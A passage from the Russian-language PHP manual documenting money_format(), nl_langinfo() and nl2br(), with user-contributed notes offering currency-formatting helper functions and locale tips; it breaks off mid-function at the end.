Флаги

Могут быть использованы следующие флаги:

=f

Символ =, за которым следует ещё один символ f, задаёт символ заполнения. По умолчанию пробел.

^

Отключает группировку символов (определяемую текущей локалью).

+ или (

Задаёт способ форматирования положительных и отрицательных значений. При использовании + будут использоваться аналоги символов + и - из текущей локали. Если указана (, отрицательные числа будут заключены в скобки. По умолчанию +.

!

Подавляет вывод символа валюты.

-

Если этот флаг задан, поля будут выравнены влево (с отбивкой вправо), вместо используемого по умолчанию выравнивания вправо (с отбивкой влево).

Ширина поля

w

Строка из десятичных цифр, задающая минимальную ширину поля. Поле будет выравнено вправо, если не указан флаг -. Значение по умолчанию - 0 (ноль).

Точность до запятой

#n

Максимальное количество цифр (n), которое ожидается до запятой. Это обычно используется при выводе значений одно под другим, чтобы десятичные точки располагались в одной колонке, при этом используется символ заполнения, если число цифр меньше n. Если число цифр больше n, этот параметр игнорируется.

Если группировка не была отключена флагом ^, разделители групп будут вставлены перед добавлением символов заполнения. Разделители групп не вставляются между символами заполнения, даже если заполнитель - цифра.

Для обеспечения выравнивания, все символы, выводимые до или после числа, такие как символ валюты или знак, будут дополнены пробелами до одинаковой ширины.

Точность после запятой

.p

Точка, за которой следует число знаков (p), выводимых после запятой. Если значение p равно нулю, десятичная точка и цифры после неё не будут выводиться. Если этот параметр отсутствует, число знаков после запятой определяется текущей локалью. Перед форматированием число округляется до указанного количества знаков.

Описатель преобразования

i

Используется международный денежный формат из текущей локали (например, для американской локали: USD 1,234.56).

n

Используется национальный денежный формат из текущей локали (например, для локали de_DE: EU1.234,56).

%

Вставляет символ %.

number

Форматируемое число.

Возвращаемые значения

Возвращает отформатированную строку. Символы перед и после описания формата возвращаются без изменений. Если number не является числом, то будет возвращён null и вызвана ошибка уровня E_WARNING.

Список изменений

Версия | Описание
7.4.0 | Функция устарела. Вместо неё используйте NumberFormatter::formatCurrency().

Примеры

Пример #1 Пример использования money_format()

Проиллюстрируем применение этой функции для различных локалей и разных описаний формата.

<?php

$number = 1234.56;

// международный формат в локали en_US
setlocale(LC_MONETARY, 'en_US');
echo money_format('%i', $number) . "\n";
// USD 1,234.56

// Итальянский национальный формат с 2 знаками после запятой
setlocale(LC_MONETARY, 'it_IT');
echo money_format('%.2n', $number) . "\n";
// Eu 1.234,56

// Использование отрицательных чисел
$number = -1234.5672;

// национальный формат США, с использованием скобок для
// отрицательных чисел и 10 знаков до запятой
setlocale(LC_MONETARY, 'en_US');
echo money_format('%(#10n', $number) . "\n";
// ($ 1,234.57)

// подобно предыдущему, но с добавлением 2 знаков после запятой
// и '*' в качестве символа заполнения
echo money_format('%=*(#10.2n', $number) . "\n";
// ($********1,234.57)

// Выравнивание влево, ширина 14 знаков, 8 знаков до запятой,
// 2 знака после запятой, без разбиения на группы
// с использованием международного формата в локали de_DE.
setlocale(LC_MONETARY, 'de_DE');
echo money_format('%=*^-14#8.2i', 1234.56) . "\n";
// Eu 1234,56****

// А теперь добавим текст перед и после описанием формата
setlocale(LC_MONETARY, 'en_GB');
$fmt = 'Итоговая сумма: %i (после 10%% скидки)';
echo money_format($fmt, 1234.56) . "\n";
// Итоговая сумма: GBP 1,234.56 (после 10% скидки)

?>

Примечания

Замечание:

Функция money_format() определена только если в системе присутствует функция strfmon. Например, в Windows она отсутствует, поэтому money_format() не определена в Windows.

Замечание:

На работу этой функции влияет установка категории LC_MONETARY текущей локали. Перед использованием этой функции установите нужную локаль с помощью setlocale().

Смотрите также

  • setlocale() - Устанавливает региональные настройки
  • sscanf() - Разбирает строку в соответствии с заданным форматом
  • sprintf() - Возвращает отформатированную строку
  • printf() - Выводит отформатированную строку
  • number_format() - Форматирует число с группировкой классов многозначного числа

User Contributed Notes

Anonymous 12-Oct-2023 05:03
Rafael M. Salvioni's code has a small bug in it when the value is positive and the format provided contains a ( flag.  The value should only be surrounded in parenthesis when the value is negative.  This should fix it:

<?php
    if (!function_exists('money_format'))
    {
        function money_format($format, $number)
        {
            $regex  = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?'.
                    '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
            if (setlocale(LC_MONETARY, 0) == 'C') {
                setlocale(LC_MONETARY, '');
            }
            $locale = localeconv();
            preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
            foreach ($matches as $fmatch) {
                $value = floatval($number);
                $flags = array(
                    'fillchar'  => preg_match('/\=(.)/', $fmatch[1], $match) ?
                                $match[1] : ' ',
                    'nogroup'   => preg_match('/\^/', $fmatch[1]) > 0,
                    'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                                $match[0] : '+',
                    'nosimbol'  => preg_match('/\!/', $fmatch[1]) > 0,
                    'isleft'    => preg_match('/\-/', $fmatch[1]) > 0
                );
                $width      = trim($fmatch[2]) ? (int)$fmatch[2] : 0;
                $left       = trim($fmatch[3]) ? (int)$fmatch[3] : 0;
                $right      = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits'];
                $conversion = $fmatch[5];

                $positive = true;
                if ($value < 0) {
                    $positive = false;
                    $value  *= -1;
                }
                $letter = $positive ? 'p' : 'n';

                $prefix = $suffix = $cprefix = $csuffix = $signal = '';

                $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
                switch (true) {
                    case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                        $prefix = $signal;
                        break;
                    case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
                        $suffix = $signal;
                        break;
                    case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                        $cprefix = $signal;
                        break;
                    case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                        $csuffix = $signal;
                        break;
                    case $flags['usesignal'] == '(' && !$positive:
                    case $locale["{$letter}_sign_posn"] == 0:
                        $prefix = '(';
                        $suffix = ')';
                        break;
                }
                if (!$flags['nosimbol']) {
                    $currency = $cprefix .
                                ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                                $csuffix;
                } else {
                    $currency = '';
                }
                $space  = $locale["{$letter}_sep_by_space"] ? ' ' : '';

                $value = number_format($value, $right, $locale['mon_decimal_point'],
                        $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
                $value = @explode($locale['mon_decimal_point'], $value);

                $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
                if ($left > 0 && $left > $n) {
                    $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
                }
                $value = implode($locale['mon_decimal_point'], $value);
                if ($locale["{$letter}_cs_precedes"]) {
                    $value = $prefix . $currency . $space . $value . $suffix;
                } else {
                    $value = $prefix . $value . $space . $currency . $suffix;
                }
                if ($width > 0) {
                    $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                            STR_PAD_RIGHT : STR_PAD_LEFT);
                }

                $format = str_replace($fmatch[0], $value, $format);
            }
            return $format;
        }
    }
?>
sainthyoga2003 at gmail dot com 28-Jul-2020 04:25
Be aware, since PHP 7.3 this method is deprecated and from PHP 7.4 this launch a deprecated error, so, setup your PHP web server to untrack E_DEPRECATED error reporting.
justsomeone 04-Jul-2017 11:49
Using the money_format function with float values which have more than two decimal digits can result in rounding errors.
Maybe this function will help you to avoid these failures:

<?php
// A product with a base price of 12.95
$price = 1295;

// The quantity is also an integer but translated it would be 11.91
$quantity = 1191;

// Result: 154.2345
// It's the same like 12.95 * 11.91
$sum = ($price / 100) * ($quantity  /100);

// Wrong result: 154.23
money_format('%!i', $sum);

// Wrong result: 154.23
number_format($sum, 2);

// Wrong result: 154.23
bcmul($price / 100, $quantity / 100, 2);

// Correct result : 154.24
money_format_rounded('%!i', $sum);

/**
 * Formats a number as a currency string. Rounds every decimal digit to a defined precision on its own.
 *
 * @param string $format The format for the money_format function
 * @param float|int|string $number The number to be formatted
 * @param int $maxPrecision Round up to the $maxPrecision number of decimal digit. Default is: 2
 * @param int $roundingType Rounding type for the round function. Default is: \PHP_ROUND_HALF_UP
 *
 * @return string
 */
function money_format_rounded($format, $number, $maxPrecision = 2, $roundingType = \PHP_ROUND_HALF_UP)
{
    $strlen = strlen($number);
    if ($strlen === 0) {
        return money_format($format, $number);
    }

    $length = $strlen - strrpos($number, '.') - 1;
    if ($length <= 0) {
        return money_format($format, $number);
    }

    $rounded = $number;
    for ($i = --$length; $i >= $maxPrecision; $i--) {
        $rounded = round($rounded, $i, $roundingType);
    }

    return money_format($format, $rounded);
}
Felix Duterloo 30-Jun-2016 12:43
Improvement to Rafael M. Salvioni's solution for money_format on Windows: when no currency symbol is selected, in the formatting, the minus sign was also lost when the locale puts it in position 3 or 4. Changed $currency = '';  to: $currency = $cprefix .$csuffix;

function money_format($format, $number) {
        $regex = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?' .
                '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
        if (setlocale(LC_MONETARY, 0) == 'C') {
            setlocale(LC_MONETARY, '');
        }
        $locale = localeconv();
        preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
        foreach ($matches as $fmatch) {
            $value = floatval($number);
            $flags = array(
                'fillchar' => preg_match('/\=(.)/', $fmatch[1], $match) ?
                        $match[1] : ' ',
                'nogroup' => preg_match('/\^/', $fmatch[1]) > 0,
                'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                        $match[0] : '+',
                'nosimbol' => preg_match('/\!/', $fmatch[1]) > 0,
                'isleft' => preg_match('/\-/', $fmatch[1]) > 0
            );
            $width = trim($fmatch[2]) ? (int) $fmatch[2] : 0;
            $left = trim($fmatch[3]) ? (int) $fmatch[3] : 0;
            $right = trim($fmatch[4]) ? (int) $fmatch[4] : $locale['int_frac_digits'];
            $conversion = $fmatch[5];

            $positive = true;
            if ($value < 0) {
                $positive = false;
                $value *= -1;
            }
            $letter = $positive ? 'p' : 'n';

            $prefix = $suffix = $cprefix = $csuffix = $signal = '';

            $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
            switch (true) {
                case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                    $prefix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
                    $suffix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                    $cprefix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                    $csuffix = $signal;
                    break;
                case $flags['usesignal'] == '(':
                case $locale["{$letter}_sign_posn"] == 0:
                    $prefix = '(';
                    $suffix = ')';
                    break;
            }
            if (!$flags['nosimbol']) {
                $currency = $cprefix .
                        ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                        $csuffix;
            } else {
                $currency = $cprefix .$csuffix;
            }
            $space = $locale["{$letter}_sep_by_space"] ? ' ' : '';

            $value = number_format($value, $right, $locale['mon_decimal_point'], $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
            $value = @explode($locale['mon_decimal_point'], $value);

            $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
            if ($left > 0 && $left > $n) {
                $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
            }
            $value = implode($locale['mon_decimal_point'], $value);
            if ($locale["{$letter}_cs_precedes"]) {
                $value = $prefix . $currency . $space . $value . $suffix;
            } else {
                $value = $prefix . $value . $space . $currency . $suffix;
            }
            if ($width > 0) {
                $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                                STR_PAD_RIGHT : STR_PAD_LEFT);
            }

            $format = str_replace($fmatch[0], $value, $format);
        }
        return $format;
    }
tim 19-Feb-2015 10:21
For most of us in the US, we don't want to see a "USD" for our currency symbol, so '%i' doesn't cut it.  Here's what I used that worked to get what most  people expect to see for a number format.

$number = 123.4
setlocale(LC_MONETARY, 'en_US.UTF-8');
money_format('%.2n', $number);

output:
$123.40

That gives me a dollar sign at the beginning, and 2 digits at the end.
kaigillmann at googlemail dot com 12-Jun-2014 07:24
If you get "EUR" instead of the euro symbol, set the locale to utf8 charset like this:

<?php
setlocale(LC_MONETARY, 'de_DE.utf8');
echo money_format('%+n', 1234.56);
?>
todoventas at xarxa-cat dot net 09-Jan-2014 03:27
In Rafael M. Salvioni function localeconv(); returns an invalid array in my Windows XP SP3 running PHP 5.4.13 so to prevent the Warning Message: implode(): Invalid arguments passed i just add the $locale manually. For other languages just fill the array with the correct settings.

<?

       $locale = array(
        'decimal_point'        => '.',
        'thousands_sep'        => '',
        'int_curr_symbol'    => 'EUR',
        'currency_symbol'    => '€',
        'mon_decimal_point'    => ',',
        'mon_thousands_sep'    => '.',
        'positive_sign'        => '',
        'negative_sign'     => '-',
        'int_frac_digits'    => 2,
        'frac_digits'        => 2,
        'p_cs_precedes'        => 0,
        'p_sep_by_space'    => 1,
        'p_sign_posn'        => 1,
        'n_sign_posn'        => 1,
        'grouping'            => array(),
        'mon_grouping'        => array(0 => 3, 1 => 3)

    );
?>
jsb17NO at SPAMcornell dot edu 02-Aug-2013 08:10
To drop zero value decimals, use the following:
<?php
    /*
        Same as php number_format(), but if ends in .0, .00, .000, etc... , drops the decimals altogether
        Returns string type, rounded number - same as php number_format()):
        Examples:
            number_format_drop_zero_decimals(54.378, 2) ==> '54.38'
            number_format_drop_zero_decimals(54.00, 2) ==> '54'
     */
    function number_format_drop_zero_decimals($n, $n_decimals)
    {
        return ((floor($n) == round($n, $n_decimals)) ? number_format($n) : number_format($n, $n_decimals));
    }
?>
Results:
number_format_drop_zero_decimals(54.377, 2) ==> 54.38
number_format_drop_zero_decimals('54.377', 2) ==> 54.38
number_format_drop_zero_decimals(54.377, 3) ==> 54.377
number_format_drop_zero_decimals(54.007, 2) ==> 54.01
number_format_drop_zero_decimals(54.000, 2) ==> 54
number_format_drop_zero_decimals(54.00, 2) ==> 54
number_format_drop_zero_decimals(54.0, 2) ==> 54
number_format_drop_zero_decimals(54.1, 2) ==> 54.10
number_format_drop_zero_decimals(54., 2) ==> 54
number_format_drop_zero_decimals(54, 2) ==> 54
number_format_drop_zero_decimals(54, 3) ==> 54
number_format_drop_zero_decimals(54 + .13, 2) ==> 54.13
number_format_drop_zero_decimals(54 + .00, 2) ==> 54
number_format_drop_zero_decimals(54.0007, 4) ==> 54.0007
number_format_drop_zero_decimals(54.0007, 3) ==> 54.001
number_format_drop_zero_decimals(54.00007, 3) ==> 54  //  take notice
~B 17-Aug-2012 04:58
We found that after switching from Ubuntu 10.04 php -v 5.3.2, to Ubuntu 12.04 php -v 5.3.10 this no longer worked:

<?php setlocale(LC_MONETARY, 'en_US'); ?>

Found that using:

<?php setlocale(LC_MONETARY, 'en_US.UTF-8'); ?>

worked find
phpdeveloperbalaji at gmail dot com 28-Sep-2011 01:04
Hi,

For South Asian Currencies, this function could be a handy one.

It will handle negative as well as float(Paise).

<?php
function my_money_format($number)
{
    if(strstr($number,"-"))
    {
        $number = str_replace("-","",$number);
        $negative = "-";
    }

    $split_number = @explode(".",$number);

    $rupee = $split_number[0];
    $paise = @$split_number[1];

    if(@strlen($rupee)>3)
    {
        $hundreds = substr($rupee,strlen($rupee)-3);
        $thousands_in_reverse = strrev(substr($rupee,0,strlen($rupee)-3));
        for($i=0; $i<(strlen($thousands_in_reverse)); $i=$i+2)
        {
            $thousands .= $thousands_in_reverse[$i].$thousands_in_reverse[$i+1].",";
        }
        $thousands = strrev(trim($thousands,","));
        $formatted_rupee = $thousands.",".$hundreds;

    }
    else
    {
        $formatted_rupee = $rupee;
    }

    if((int)$paise>0)
    {
        $formatted_paise = ".".substr($paise,0,2);
    }

    return $negative.$formatted_rupee.$formatted_paise;

}
?>

Thanks,
andrey.dobrozhanskiy [-a-t-] gmail com 07-Jul-2010 09:43
This function divides integer value by commas. F.e.

<?php
echo formatMoney(1050); # 1,050
echo formatMoney(1321435.4, true); # 1,321,435.40
echo formatMoney(10059240.42941, true); # 10,059,240.43
echo formatMoney(13245); # 13,245

function formatMoney($number, $fractional=false) {
    if ($fractional) {
        $number = sprintf('%.2f', $number);
    }
    while (true) {
        $replaced = preg_replace('/(-?\d+)(\d\d\d)/', '$1,$2', $number);
        if ($replaced != $number) {
            $number = $replaced;
        } else {
            break;
        }
    }
    return $number;
}
?>
Rafael M. Salvioni 19-Feb-2009 12:20
This is a some function posted before, however various bugs were corrected.

Thank you to Stuart Roe by reporting the bug on printing signals.

<?php
/*
That it is an implementation of the function money_format for the
platforms that do not it bear.

The function accepts to same string of format accepts for the
original function of the PHP.

(Sorry. my writing in English is very bad)

The function is tested using PHP 5.1.4 in Windows XP
and Apache WebServer.
*/
function money_format($format, $number)
{
    $regex  = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?'.
              '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
    if (setlocale(LC_MONETARY, 0) == 'C') {
        setlocale(LC_MONETARY, '');
    }
    $locale = localeconv();
    preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
    foreach ($matches as $fmatch) {
        $value = floatval($number);
        $flags = array(
            'fillchar'  => preg_match('/\=(.)/', $fmatch[1], $match) ?
                           $match[1] : ' ',
            'nogroup'   => preg_match('/\^/', $fmatch[1]) > 0,
            'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                           $match[0] : '+',
            'nosimbol'  => preg_match('/\!/', $fmatch[1]) > 0,
            'isleft'    => preg_match('/\-/', $fmatch[1]) > 0
        );
        $width      = trim($fmatch[2]) ? (int)$fmatch[2] : 0;
        $left       = trim($fmatch[3]) ? (int)$fmatch[3] : 0;
        $right      = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits'];
        $conversion = $fmatch[5];

        $positive = true;
        if ($value < 0) {
            $positive = false;
            $value  *= -1;
        }
        $letter = $positive ? 'p' : 'n';

        $prefix = $suffix = $cprefix = $csuffix = $signal = '';

        $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
        switch (true) {
            case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                $prefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
                $suffix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                $cprefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                $csuffix = $signal;
                break;
            case $flags['usesignal'] == '(':
            case $locale["{$letter}_sign_posn"] == 0:
                $prefix = '(';
                $suffix = ')';
                break;
        }
        if (!$flags['nosimbol']) {
            $currency = $cprefix .
                        ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                        $csuffix;
        } else {
            $currency = '';
        }
        $space  = $locale["{$letter}_sep_by_space"] ? ' ' : '';

        $value = number_format($value, $right, $locale['mon_decimal_point'],
                 $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
        $value = @explode($locale['mon_decimal_point'], $value);

        $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
        if ($left > 0 && $left > $n) {
            $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
        }
        $value = implode($locale['mon_decimal_point'], $value);
        if ($locale["{$letter}_cs_precedes"]) {
            $value = $prefix . $currency . $space . $value . $suffix;
        } else {
            $value = $prefix . $value . $space . $currency . $suffix;
        }
        if ($width > 0) {
            $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                     STR_PAD_RIGHT : STR_PAD_LEFT);
        }

        $format = str_replace($fmatch[0], $value, $format);
    }
    return $format;
}

?>
jeremy 30-Sep-2008 10:41
If money_format doesn't seem to be working properly, make sure you are defining a valid locale.  For example, on Debian, 'en_US' is not a valid locale - you need 'en_US.UTF-8' or 'en_US.ISO-8559-1'.

This was frustrating me for a while.  Debian has a list of valid locales at /usr/share/i18n/SUPPORTED; find yours there if it's not working properly.
swapnet 22-Jul-2008 08:24
Consider formatting currency for some South Asian countries that use ##,##,###.## money format.
The following code generates something like Rs. 4,54,234.00 and so on.

<?php
function convertcash($num, $currency){
    if(strlen($num)>3){
            $lastthree = substr($num, strlen($num)-3, strlen($num));
            $restunits = substr($num, 0, strlen($num)-3); // extracts the last three digits
            $restunits = (strlen($restunits)%2 == 1)?"0".$restunits:$restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.

            $expunit = str_split($restunits, 2);
            for($i=0; $i<sizeof($expunit); $i++){
                $explrestunits .= (int)$expunit[$i].","; // creates each of the 2's group and adds a comma to the end
            }

            $thecash = $explrestunits.$lastthree;
    } else {
           $thecash = $convertnum;
    }

    return $currency.$thecash.".00"; // writes the final format where $currency is the currency symbol.
}
?>

now call the function as  convertcash($row['price'], 'Rs '); // that's the price from the database I called using an Indian Rupees prefix where the price has to be a plain number format, say something like 454234.
scot from ezyauctionz.co.nz 06-Oct-2007 03:10
This is a handy little bit of code I just wrote, as I was not able to find anything else suitable for my situation.
This will handle monetary values that are passed to the script by a user, to reformat any comma use so that it is not broken when it passes through an input validation system that checks for a float.

It is not foolproof, but will handle the common input as most users would input it, such as 1,234,567 (outputs 1234567) or 1,234.00 (outputs 1234.00), even handles 12,34 (outputs 12.34), I expect it would work with negative numbers, but have not tested it, as it is not used for that in my situation.

This worked when other options such as money_format() were not suitable or possible.

<?php
///////////////
// BEGIN CODE convert all price amounts into well formatted values
function converttonum($convertnum,$fieldinput){
        $bits = explode(",",$convertnum); // split input value up to allow checking

        $first = strlen($bits[0]); // gets part before first comma (thousands/millions)
        $last = strlen($bits[1]); // gets part after first comma (thousands (or decimals if incorrectly used by user)

        if ($last <3){ // checks for comma being used as decimal place
            $convertnum = str_replace(",",".",$convertnum);
        }
        else{ // assume comma is a thousands seperator, so remove it
            $convertnum = str_replace(",","",$convertnum);
        }

        $_POST[$fieldinput] = $convertnum; // redefine the vlaue of the variable, to be the new corrected one
}

@converttonum($_POST[inputone],"inputone");
@converttonum($_POST[inputtwo],"inputtwo");
@converttonum($_POST[inputthree],"inputthree");
// END CODE
//////////////

?>

This is suitable for the English usage, it may need tweaking to work with other types.
richard dot selby at uk dot clara dot net 17-Feb-2006 07:02
Double check that money_format() is defined on any version of PHP you plan your code to run on.  You might be surprised.

For example, it worked on my Linux box where I code, but not on  servers running  BSD 4.11 variants. (This is presumably because strfmon  is not defined - see note at the top of teis page). It's not just a windows/unix issue.


Возвращает информацию о языке и локали

  • « money_format
  • nl2br »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает информацию о языке и локали

nl_langinfo

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

nl_langinfo — Возвращает информацию о языке и локали

Описание

nl_langinfo(int $item): string|false

nl_langinfo() используется для доступа к отдельным элементам различных категорий текущей локали. В отличие от localeconv(), возвращающей все элементы, nl_langinfo() позволяет выбрать отдельный элемент.

Список параметров

item

item может быть целым числом или соответствующей константой. Ниже приведены возможные константы для item и их описания. Для некоторых локалей отдельные константы могут быть не определены.

Константы nl_langinfo
Константа | Описание
Константы категории LC_TIME
ABDAY_(1-7) | Сокращённое название n-го дня недели.
DAY_(1-7) | Полное название n-го дня недели (DAY_1 соответствует воскресенью).
ABMON_(1-12) | Сокращённое название n-го месяца.
MON_(1-12) | Полное название n-го месяца.
AM_STR | Обозначение "до полудня".
PM_STR | Обозначение "после полудня".
D_T_FMT | Строка, которую можно использовать в качестве формата с функцией strftime() для вывода даты и времени.
D_FMT | Строка, которую можно использовать в качестве формата с функцией strftime() для вывода даты.
T_FMT | Строка, которую можно использовать в качестве формата с функцией strftime() для вывода времени.
T_FMT_AMPM | Строка, которую можно использовать в качестве формата с функцией strftime() для вывода времени в 12-часовом формате.
ERA | Эра
ERA_YEAR | Год в формате с эрой
ERA_D_T_FMT | Дата и время в формате с эрой (строка, которую можно использовать в качестве формата с функцией strftime()).
ERA_D_FMT | Дата в формате с эрой (строка, которую можно использовать в качестве формата с функцией strftime()).
ERA_T_FMT | Время в формате с эрой (строка, которую можно использовать в качестве формата с функцией strftime()).
Константы категории LC_MONETARY
INT_CURR_SYMBOL | Международное обозначение валюты.
CURRENCY_SYMBOL | Национальное обозначение валюты.
CRNCYSTR | Аналог CURRENCY_SYMBOL.
MON_DECIMAL_POINT | Символ десятичной точки.
MON_THOUSANDS_SEP | Разделитель тысяч (групп из 3 цифр).
MON_GROUPING | Аналогичен элементу "grouping".
POSITIVE_SIGN | Знак для положительных чисел.
NEGATIVE_SIGN | Знак для отрицательных чисел.
INT_FRAC_DIGITS | Количество знаков после запятой (международный формат).
FRAC_DIGITS | Количество знаков после запятой (национальный формат).
P_CS_PRECEDES | Возвращает 1, если CURRENCY_SYMBOL записывается перед положительным значением.
P_SEP_BY_SPACE | Возвращает 1, если CURRENCY_SYMBOL отделяется от положительного значения пробелом.
N_CS_PRECEDES | Возвращает 1, если CURRENCY_SYMBOL записывается перед отрицательным значением.
N_SEP_BY_SPACE | Возвращает 1, если CURRENCY_SYMBOL отделяется от отрицательного значения пробелом.
P_SIGN_POSN
  • Возвращает 0, если число и обозначение валюты CURRENCY_SYMBOL заключаются в скобки
  • Возвращает 1, если знак записывается перед числом и обозначением валюты CURRENCY_SYMBOL
  • Возвращает 2, если знак записывается после числа и обозначения валюты CURRENCY_SYMBOL
  • Возвращает 3, если знак записывается перед обозначением валюты CURRENCY_SYMBOL
  • Возвращает 4, если знак записывается после обозначения валюты CURRENCY_SYMBOL
N_SIGN_POSN
Константы категории LC_NUMERIC
DECIMAL_POINT | Символ десятичной точки.
RADIXCHAR | Аналогично DECIMAL_POINT.
THOUSANDS_SEP | Разделитель тысяч (групп из 3 цифр).
THOUSEP | Аналогично THOUSANDS_SEP.
GROUPING
Константы категории LC_MESSAGES
YESEXPR | Регулярное выражение, при совпадении с которым строка рассматривается как положительный ответ ("yes").
NOEXPR | Регулярное выражение, при совпадении с которым строка рассматривается как отрицательный ответ ("no").
YESSTR | Слово "да" ("yes").
NOSTR | Слово "нет" ("no").
Константы категории LC_CTYPE Category Constants
CODESET | Возвращает строку с именем текущей кодировки.

Возвращаемые значения

Возвращает элемент в виде строки, или false, если item передан неправильно.

Примеры

Пример #1 Пример использования nl_langinfo()

<?php

var_dump(nl_langinfo(CODESET));
var_dump(nl_langinfo(YESEXPR));
?>

Вывод приведённого примера будет похож на:

string(14) "ANSI_X3.4-1968"
string(5) "^[yY]"

Примечания

Замечание: Для Windows-платформ эта функция не реализована.

Смотрите также

  • setlocale() - Устанавливает региональные настройки
  • localeconv() - Возвращает информацию о форматировании чисел

User Contributed Notes

mark at moderndeveloper dot com 15-Nov-2013 03:23
If you are looking for the stand-alone (nominative form) of a month, you may not be able to use nl_langinfo(), but with PHP 5.5 you can use something like:

<?php
echo IntlDateFormatter::formatObject(
         new DateTime('2013-01-01 00:00:00 Europe/Moscow'),
         'LLLL',
         'ru_RU');
?>

Note that the format uses the ICU patterns, not the PHP date() patterns.
avatar_at_hot_ee 11-Mar-2006 07:58
The value MON_(1-12) has special behavior in Russian locale: it returns declinated month names, that can be used as part of a date string, but not on their own.

For instance instead of "Январь" (the proper nominative form) it returns "Января" (form declinated for use in dates).

There seems to be no way to get the nominative form of the month name - one has to use translations instead.


Вставляет HTML-код разрыва строки перед каждым переводом строки

  • « nl_langinfo
  • number_format »
  • PHP Manual
  • Функции для работы со строками
  • Вставляет HTML-код разрыва строки перед каждым переводом строки

nl2br

(PHP 4, PHP 5, PHP 7, PHP 8)

nl2br — Вставляет HTML-код разрыва строки перед каждым переводом строки

Описание

nl2br(string $string, bool $use_xhtml = true): string

Возвращает строку string, в которой перед каждым переводом строки (\r\n, \n\r, \n и \r) вставлен <br /> или <br>.

Список параметров

string

Входная строка.

use_xhtml

Использовать ли совместимые с XHTML переводы строк или нет.

Возвращаемые значения

Возвращает изменённую строку.

Примеры

Пример #1 Пример использования nl2br()

<?php
echo nl2br("foo - это вам не\n bar");
?>

Результат выполнения приведённого примера:

foo - это вам не<br />
 bar

Пример #2 Генерирование корректной HTML-вёрстки с помощью параметра use_xhtml

<?php
echo nl2br("Привет!\r\nЭтой мой HTML-документ", false);
?>

Результат выполнения приведённого примера:

Привет!<br>
Этой мой HTML-документ

Пример #3 Различные разделители строк

<?php
$string = "This\r\nis\n\ra\nstring\r";
echo nl2br($string);
?>

Результат выполнения приведённого примера:

This<br />
is<br />
a<br />
string<br />

Смотрите также

  • htmlspecialchars() - Преобразовывает специальные символы в HTML-сущности
  • htmlentities() - Преобразовывает возможные символы в HTML-сущности
  • wordwrap() - Переносит строку по указанному количеству символов
  • str_replace() - Заменяет вхождения строки поиска строкой замены

User Contributed Notes

Patrik 12-Dec-2022 12:55
Consider using CSS's `white-space: pre-line;` instead, it does the same thing as nl2br().
gautier dot michelin at gmail dot com 29-Jun-2020 08:03
This is a simple trick to transform newlines to paragraph a $string :

<?php
$string_with_paragraphs = "<p>".implode("</p><p>", explode("\n", $string))."</p>";
?>

By exploding on new lines & adding end & begin for p, it's easy to concat with <p>.

You can bring it to a function :

<?php
function nl2p($string) {
    return $string_with_paragraphs = "<p>".implode("</p><p>", explode("\n", $string))."</p>";
}
?>
Collette 02-Jan-2020 11:57
Let's say a form text field does contain:
 test line number 1
 test line number 2

To remove all the line breaks and split the input into an array:

$input_from_text_field = preg_replace('#[\r\n]#','',nl2br($input_from_text_field,false));
$lines = explode("<br>",$input_from_text_field);

$lines will now be an array where $lines[0] = "test line number 1" and so on.
aabaev 16-Nov-2018 07:09
double quotes !== single quotes

php > echo nl2br('\r\n');
\r\n
php > echo nl2br("\r\n");
<br />
buzanits at gmail dot com 07-Nov-2017 03:39
If you write code that is to run in browser AND on the shell, this function could be useful. It uses PHP_EOL or <br /> depending on the platform it runs:

<?php
function nl($string) {
